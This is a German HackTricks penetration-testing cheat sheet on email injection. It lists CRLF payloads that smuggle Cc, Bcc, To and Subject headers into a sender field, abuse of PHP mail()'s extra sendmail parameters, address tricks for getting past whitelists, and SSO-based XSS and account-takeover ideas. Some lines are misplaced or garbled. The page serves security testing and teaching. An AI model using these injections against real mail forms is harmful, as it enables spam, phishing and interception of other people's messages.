10 KiB
E-Mail-Injektionen
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.
Injizieren in gesendete E-Mail
Cc und Bcc nach dem Absenderargument einfügen
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Die Nachricht wird an die Empfänger- und Empfänger1-Konten gesendet.
Injiziere Argument
From:sender@domain.com%0ATo:attacker@domain.com
Injizieren des Betreffarguments
Die Nachricht wird an den ursprünglichen Empfänger und das Konto des Angreifers gesendet.
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Ändern Sie den Nachrichtentext
Fügen Sie einen Zeilenumbruch ein und schreiben Sie Ihre Nachricht, um den Nachrichtentext zu ändern.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Ausnutzung der PHP mail() Funktion
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Der 5. Parameter ($additional_parameters)
Dieser Abschnitt basiert darauf, wie man diesen Parameter missbrauchen kann, wenn ein Angreifer ihn kontrolliert.
Dieser Parameter wird der Befehlszeile hinzugefügt, die PHP verwenden wird, um das Binärprogramm sendmail aufzurufen. Er wird jedoch mit der Funktion escapeshellcmd($additional_parameters)
bereinigt.
Ein Angreifer kann in diesem Fall zusätzliche Parameter für sendmail einschleusen.
Unterschiede in der Implementierung von /usr/sbin/sendmail
Die sendmail-Schnittstelle wird von der MTA-E-Mail-Software (Sendmail, Postfix, Exim usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die grundlegende Funktionalität (wie z. B. -t -i -f-Parameter) aus Gründen der Kompatibilität gleich bleibt, variieren andere Funktionen und Parameter je nach installierter MTA erheblich.
Hier sind einige Beispiele für verschiedene Handbuchseiten des sendmail-Befehls/der Schnittstelle:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
Je nach Herkunft des sendmail-Binärprogramms wurden verschiedene Optionen entdeckt, um sie zu missbrauchen und Dateien auszulesen oder sogar beliebige Befehle auszuführen. Überprüfen Sie, wie dies unter https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html erfolgen kann.
Einschleusen in den E-Mail-Namen
Ignorierte Teile einer E-Mail
Die Symbole: +, - und {} können in seltenen Fällen für Markierungen verwendet und von den meisten E-Mail-Servern ignoriert werden
Kommentare zwischen Klammern () am Anfang oder am Ende werden ebenfalls ignoriert
- z. B. john.doe(intigriti)@example.com → john.doe@example.com
Whitelist-Umgehung
Anführungszeichen
IPs
Sie können auch IPs als Domainnamen zwischen eckigen Klammern verwenden:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Andere Schwachstellen
Drittanbieter-SSO
XSS
Einige Dienste wie github oder salesforce erlauben es Ihnen, eine E-Mail-Adresse mit XSS-Payloads zu erstellen. Wenn Sie diese Anbieter verwenden können, um sich bei anderen Diensten anzumelden, und diese Dienste die E-Mail nicht korrekt säubern, könnten Sie XSS verursachen.
Account-Übernahme
Wenn ein SSO-Dienst es Ihnen erlaubt, ein Konto ohne Überprüfung der angegebenen E-Mail-Adresse zu erstellen (wie salesforce) und Sie dann dieses Konto verwenden können, um sich bei einem anderen Dienst anzumelden, der salesforce vertraut, könnten Sie auf jedes Konto zugreifen.
Beachten Sie, dass salesforce angibt, ob die angegebene E-Mail-Adresse verifiziert wurde oder nicht, sodass die Anwendung diese Information berücksichtigen sollte.
Antwort an
Sie können eine E-Mail senden mit Von: unternehmen.com und Antwort an: angreifer.com und wenn eine automatische Antwort gesendet wird, weil die E-Mail von einer internen Adresse gesendet wurde, könnte der Angreifer diese Antwort erhalten.
Harte Bounce-Rate
Bestimmte Dienste wie AWS implementieren eine Schwelle, die als Harte Bounce-Rate bekannt ist, die in der Regel auf 10% festgelegt ist. Dies ist eine wichtige Metrik, insbesondere für E-Mail-Zustelldienste. Wenn diese Rate überschritten wird, kann der Dienst, wie z. B. der E-Mail-Dienst von AWS, gesperrt oder blockiert werden.
Ein harter Bounce bezieht sich auf eine E-Mail, die an den Absender zurückgesendet wurde, weil die E-Mail-Adresse des Empfängers ungültig oder nicht vorhanden ist. Dies kann aus verschiedenen Gründen geschehen, z. B. wenn die E-Mail an eine nicht existierende Adresse gesendet wird, an eine nicht real existierende Domain oder wenn der Server des Empfängers sich weigert, E-Mails zu akzeptieren.
Im Kontext von AWS bedeutet dies, dass wenn Sie 1000 E-Mails senden und 100 davon aufgrund von Gründen wie ungültigen Adressen oder Domains zu harten Bounces führen, dies eine harte Bounce-Rate von 10% bedeuten würde. Das Erreichen oder Überschreiten dieser Rate kann dazu führen, dass AWS SES (Simple Email Service) Ihre E-Mail-Sendeoptionen blockiert oder aussetzt.
Es ist entscheidend, eine niedrige harte Bounce-Rate aufrechtzuerhalten, um einen unterbrechungsfreien E-Mail-Dienst sicherzustellen und den Absender-Ruf zu wahren. Die Überwachung und Verwaltung der Qualität der E-Mail-Adressen in Ihren Mailinglisten kann erheblich dazu beitragen, dieses Ziel zu erreichen.
Für weitere ausführliche Informationen kann die offizielle Dokumentation von AWS zur Behandlung von Bounces und Beschwerden unter AWS SES Bounce Handling konsultiert werden.
Referenzen
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Verwenden Sie Trickest, um mithilfe der weltweit fortschrittlichsten Community-Tools einfach Workflows zu erstellen und zu automatisieren.
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}